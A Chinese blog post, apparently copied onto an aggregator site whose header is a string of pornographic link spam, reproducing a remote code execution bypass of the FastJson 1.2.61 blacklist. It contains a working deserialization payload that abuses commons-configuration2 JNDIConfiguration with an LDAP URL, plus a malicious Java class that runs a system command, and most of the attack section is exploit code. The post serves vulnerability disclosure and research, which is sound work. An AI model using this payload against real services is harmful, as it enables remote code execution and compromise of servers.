日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)

發(fā)布時間:2025/3/11 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言

最近FastJson更新了黑名單,升級到了1.2.61版本,我嘗試bypass其黑名單,在AutType打開的情況下成功繞過了黑名單防護.(目前暫未修復(fù),官方即將更新)

復(fù)現(xiàn)環(huán)境準備

  • 1.JDK 8U20

  • 2.所需jar清單如下

fastjson-1.2.61.jar
commons-configuration2-2.0.jar
commons-lang3-3.3.2.jar
commons-logging-1.2.jar

FastJson復(fù)現(xiàn)

FastJsonTest.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
public static void main(String[] args){

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";

JSONObject json = JSON.parseObject(jsonStr6);
json.toJSONString();
}
}

惡意類ExportObject.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

String result = sb.toString();
Exception e = new Exception(result);
throw e;
}

public static void main(String[] args) throws Exception {
}
}

使用org.apache.commons.configuration2.JNDIConfiguration?payload 效果如下

關(guān)于黑名單

Fastjson?在1.2.42版本開始,將原本明文的黑名單改成了hash value的黑名單

使用這種方式,能在一定程度上減緩安全研究者對fastjson黑名單繞過的速度
關(guān)于黑名單,有安全研究者在GitHub上開源了一個項目,叫做fastjson-blacklist,大家可以關(guān)注一下.

后記

對于不會開啟rmi和ldap服務(wù)的同學(xué)可以查閱我的文章——《如何快速開啟RMI&&LDAP》,快速開啟http服務(wù)可以使用python -m SimpleHTTPServer.
使用JNDI進行rce,請注意JDK對于JNDI的修復(fù),可參考pyn3rd師傅的圖

Reference

fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名單:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速開啟RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g

時間軸

[0] 2019年9月20日 亞信安全提交該漏洞給阿里巴巴
[1] 2019年9月23日 亞信安全網(wǎng)絡(luò)攻防實驗室發(fā)布預(yù)警公告

總結(jié)

以上是生活随笔為你收集整理的commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。